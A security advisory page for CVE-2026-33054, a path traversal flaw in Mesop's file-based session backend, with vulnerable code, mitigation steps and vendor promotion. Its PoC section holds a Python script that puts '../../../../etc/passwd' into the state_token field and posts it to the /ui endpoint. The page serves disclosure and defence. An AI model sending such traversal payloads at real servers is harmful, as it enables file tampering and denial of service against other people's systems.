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GHSA-8qvf-mr4w-9x2c

CRITICAL

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

Also known asCVE-2026-33054
Published
Mar 18, 2026
Updated
Mar 20, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk49th percentile+0.68%
0.00%0.40%0.81%1.21%0.0%0.0%0.0%0.7%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍mesop

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
)

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPImesopall versions1.2.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mesop. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update mesop to 1.2.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8qvf-mr4w-9x2c is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-8qvf-mr4w-9x2c is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-8qvf-mr4w-9x2c. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

#### Summary A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted `state_token` through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation. #### Details When the framework is configured to use the disk-based session backend (`FileStateSessionBackend`), the user's `state_token` actively dictates where the runtime session state is physically saved or quer
O3 Security · Impact-Aware SCA

Is GHSA-8qvf-mr4w-9x2c in your dependencies?

O3 detects GHSA-8qvf-mr4w-9x2c across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.